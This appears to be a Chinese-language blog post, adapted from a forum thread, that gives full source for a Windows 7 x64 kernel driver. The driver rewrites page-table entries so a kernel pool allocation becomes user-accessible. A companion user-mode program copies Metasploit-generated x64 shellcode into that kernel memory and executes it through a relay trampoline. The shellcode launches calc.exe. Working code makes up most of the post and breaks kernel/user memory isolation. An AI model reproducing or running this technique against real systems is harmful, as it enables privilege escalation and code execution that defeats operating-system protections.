背景
最近在看雪上看到了一篇修改页属性的博客https://bbs.pediy.com/thread-266781.htm,之前的同事也提到过有人在r0跑dll,于是趁着这个机会把原作者的代码改了下,将申请的内核地址改成user可读,如下所示,这里有几点需要注意的
1、在win10 1903 中测试失败,蓝屏0x1a,会对pxe做检查
2、内核的pte基址是写死的
3、不支持大页
#include <Ntifs.h>
#include <ntimage.h>
#include <ntstrsafe.h>
//onlly working in win 7 sp1
#define KERNEL_CR3_OFFSET 0x28
PVOID g_UserRead = NULL;
PVOID MiGetXXXAddress(ULONG64 VirtualAddress, PVOID PteBase) {
return ((VirtualAddress >> 9) & 0x7FFFFFFFF8) + (ULONG64)PteBase;
}
PVOID GetBase() {
//PUCHAR BaseAddr = MmGetVirtualForPhysical;
//return *(PUINT64)(BaseAddr + 0x22);
//win 7
return 0xFFFFF68000000000;
}
EXTERN_C PUCHAR PsGetProcessImageFileName( PEPROCESS Process);
VOID ProcessNotifyRoutine(_In_ HANDLE ParentId,_In_ HANDLE ProcessId,_In_ BOOLEAN Create){
if (Create){
PVOID tmpRead = (PVOID)((ULONG64)g_UserRead + 0x1000);
PULONG64 PteBase = GetBase();
PULONG64 Pte = (PULONG64)MiGetXXXAddress(g_UserRead, PteBase);
PULONG64 Pde = (PULONG64)MiGetXXXAddress(Pte, PteBase);
PULONG64 Ppe = (PULONG64)MiGetXXXAddress(Pde, PteBase);
PULONG64 Pxe = (PULONG64)MiGetXXXAddress(Ppe, PteBase);
ULONG PXEIndex = ((ULONG64)g_UserRead >> 0x27) & 0x1FF;
ULONG PPEIndex = ((ULONG64)g_UserRead >> 0x1E) & 0x1FF;
ULONG PDEIndex = ((ULONG64)g_UserRead >> 0x15) & 0x1FF;
ULONG PTEIndex = ((ULONG64)g_UserRead >> 0xC) & 0x1FF;
ULONG FuncOffset = (ULONG64)g_UserRead & 0xFFF;
PVOID TmpAddress = MiGetXXXAddress(tmpRead, PteBase);
ULONG64 TmpPTE = *(PULONG64)TmpAddress;
//修正pte的值
*(PULONG64)TmpAddress = *Pde;
*(PULONG)((ULONG64)tmpRead + PTEIndex * 8) |= 4; //这里需要清楚g位
__invlpg(tmpRead);
//*(PULONG)((ULONG64)tmpRead + PTEIndex * 8) -= 0x100;
//修正pde
*(PULONG64)TmpAddress = *Ppe;
*(PULONG)((ULONG64)tmpRead + PDEIndex * 8) |= 4;
__invlpg(tmpRead);
//修正ppe
*(PULONG64)TmpAddress = *Pxe;
*(PULONG)((ULONG64)tmpRead + PPEIndex * 8) |= 4;
__invlpg(tmpRead);
*(PULONG64)TmpAddress = TmpPTE;//还原
NTSTATUS status = STATUS_SUCCESS;
PEPROCESS Process;
status = PsLookupProcessByProcessId(ProcessId, &Process);
PUCHAR pFileName = PsGetProcessImageFileName(Process);
char buf[] = "R3Worker.exe";
if (strcmp(pFileName, buf) == 0){
//DbgBreakPoint();
PVOID pDirectoryTableBase = (ULONG64)Process + KERNEL_CR3_OFFSET;
//修正pxe
PVOID TmpAddress = MiGetXXXAddress(tmpRead, PteBase);
ULONG64 TmpPTE = *(PULONG64)TmpAddress;
*(PULONG64)TmpAddress = (*(PULONG64)pDirectoryTableBase) & (~0xFFF) | 0x063;
*(PULONG)((ULONG64)tmpRead + PXEIndex * 8) |= 4;
__invlpg(tmpRead);
*(PULONG64)TmpAddress = TmpPTE;//还原
}
ObDereferenceObject(Process);
}
}
VOID Unload(PDRIVER_OBJECT pDriverObj) {
if(g_UserRead)
ExFreePoolWithTag(g_UserRead, '123');
PsSetCreateProcessNotifyRoutine(ProcessNotifyRoutine, TRUE);
DbgPrint("See you! \n");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath) {
DriverObject->DriverUnload = Unload;
//申请一块内存然后把它user的访问置位
g_UserRead = ExAllocatePoolWithTag(NonPagedPool,PAGE_SIZE * 2, '123');
if (!g_UserRead)
return STATUS_UNSUCCESSFUL;
PsSetCreateProcessNotifyRoutine(ProcessNotifyRoutine, FALSE);
DbgPrint("address 0x%llX \n", g_UserRead);
return STATUS_SUCCESS;
}
之后在r3往申请的内存写入shellcode,但是需要注意的是在启动线程的时候不能填写内核地址,CreateThread在内核中会校验先前模式,由于是r3来的,但是传入的是一个r0的地址,当然会出错,此时就需要一个地址用来做中转,如果要自己测试需要修改申请的内核地址
#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
#define _CRT_SECURE_NO_WARNINGS
int main(){
unsigned char sc[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
unsigned char relayBuffer[] = { "\x48\xB8\x00\xE0\x77\x02\x80\xFA\xFF\xFF\xFF\xE0\x00" };
LPVOID relayAddress = VirtualAlloc(NULL, 0x100, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!relayAddress)
return 0;
PULONG64 address = 0xFFFFFA8002708000;
__try{
ULONG64 key = *address;
memcpy(address, sc, 277); //sc拷贝到内核地址
memcpy(relayAddress, relayBuffer,13);//中间跳 // mov rax xxxx jmp rax
memcpy((PUCHAR)relayAddress + 2, &address, 8);//修改地址为内核地址
system("pause");
CreateThread(NULL, NULL, relayAddress,NULL,NULL,NULL);//这里不能直接指定内核地址,有地址校验会报0xc000000d,参数错误,所以这里需要一r3地址
}__except (EXCEPTION_EXECUTE_HANDLER) {
printf("GetLastError %d \n", GetLastError());
}
system("pause");
return 0;
}
shellcode是从msf生成的
执行之后的效果如下